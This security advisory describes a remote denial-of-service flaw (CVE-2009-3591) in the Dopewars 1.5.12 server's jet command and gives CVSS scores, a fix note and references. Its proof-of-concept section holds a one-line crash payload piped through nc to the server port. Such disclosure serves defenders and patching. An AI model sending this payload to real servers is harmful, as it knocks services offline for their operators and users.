Dopewars 1.5.12 Server Denial of Service

2009-10-12 / 2009-10-13

Credit: Doug Prostko

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-3591

CWE: CWE-20

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

## Description ##
The jet command in Dopewars 1.5.12 is vulnerable to a segmentaion fault due to a lack of input validation.
## POC ##
ruby -e 'print "foo^^Ar1111111\n^^Acfoo\n^AV65536\n"' | nc localhost 7902
## Fix ##
This issue is resolved in the SVN version of the application.
## Discovered by Doug Prostko

References:

http://dopewars.svn.sourceforge.net/viewvc/dopewars/dopewars/trunk/ChangeLog?view=markup&pathrev=1033

http://www.securityfocus.com/bid/36606

http://www.securityfocus.com/archive/1/archive/1/507012/100/0/threaded

http://secunia.com/advisories/36961

http://dopewars.svn.sourceforge.net/viewvc/dopewars/dopewars/trunk/src/serverside.c?r1=1023&r2=1033&pathrev=1033

See this note in RAW Version

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Dopewars 1.5.12 Server Denial of Service

References:

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